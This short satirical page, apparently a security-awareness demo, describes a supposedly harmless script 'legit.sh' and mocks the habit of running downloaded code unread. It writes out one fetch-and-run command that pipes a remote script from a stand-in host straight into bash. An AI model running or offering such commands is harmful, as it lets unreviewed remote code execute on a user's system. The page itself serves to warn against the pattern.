legit.sh
A harmless shell script that pretends to collect interesting local details. In a real attack, this is where the quiet uploading, regrettable screenshots, and incident report would begin.
- Definitely a file
- Looks bashy
- Auditable, if you audit it
$ curl https://totally-safe-to.download/legit.sh | bash
# Congratulations, you have outsourced trust to vibes.
The script is intentionally harmless. The pattern is not. Read the file first, understand it second, run it never-ish.